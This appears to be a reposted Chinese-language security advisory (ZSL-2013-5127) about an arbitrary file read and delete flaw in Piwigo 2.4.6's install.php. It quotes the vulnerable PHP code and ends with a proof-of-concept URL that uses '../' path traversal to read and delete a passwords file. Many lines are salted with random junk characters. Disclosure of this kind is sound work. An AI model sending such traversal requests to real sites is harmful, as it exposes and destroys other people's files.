Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
: s# d6 i* y. q1 X' k' q
3 J9 a: T  z/ `  _Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
% _" ]+ H) z- I. G$ a# l/install.php:
. a, U$ h, ?8 `; m-------------
) G; I& x+ D' W2 B) k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
1 I+ y) A1 e2 S, \0 z114: {
3 V0 V/ N8 }6 f) ?: ^115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
8 Z- V% d: d5 t( V4 d* }. Y  l; L) E120:   header('Content-Length: '.filesize($filename));
* i- u9 L# G7 P5 m121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
8 k6 y# O9 h, R( ?# h0 F1 h5 J+ K124: }
5 _% ~1 |- S. }; U% j0 h====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
0 L  }* T8 i. V) n: s- K           PHP 5.4.4
           MySQL 5.5.25a

, G1 `0 y6 u: P, q9 K0 h& VVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
' ?7 P4 t7 ~8 [( E: hAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
: ^+ Q9 I; y& p
. M6 h; J% y' [4 N! ?15.02.2013

7 I- i3 h2 _* O! Z- Z+ X, E8 p7 R7 n--
4 Q( G4 }7 J5 r  l% A0 Bhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt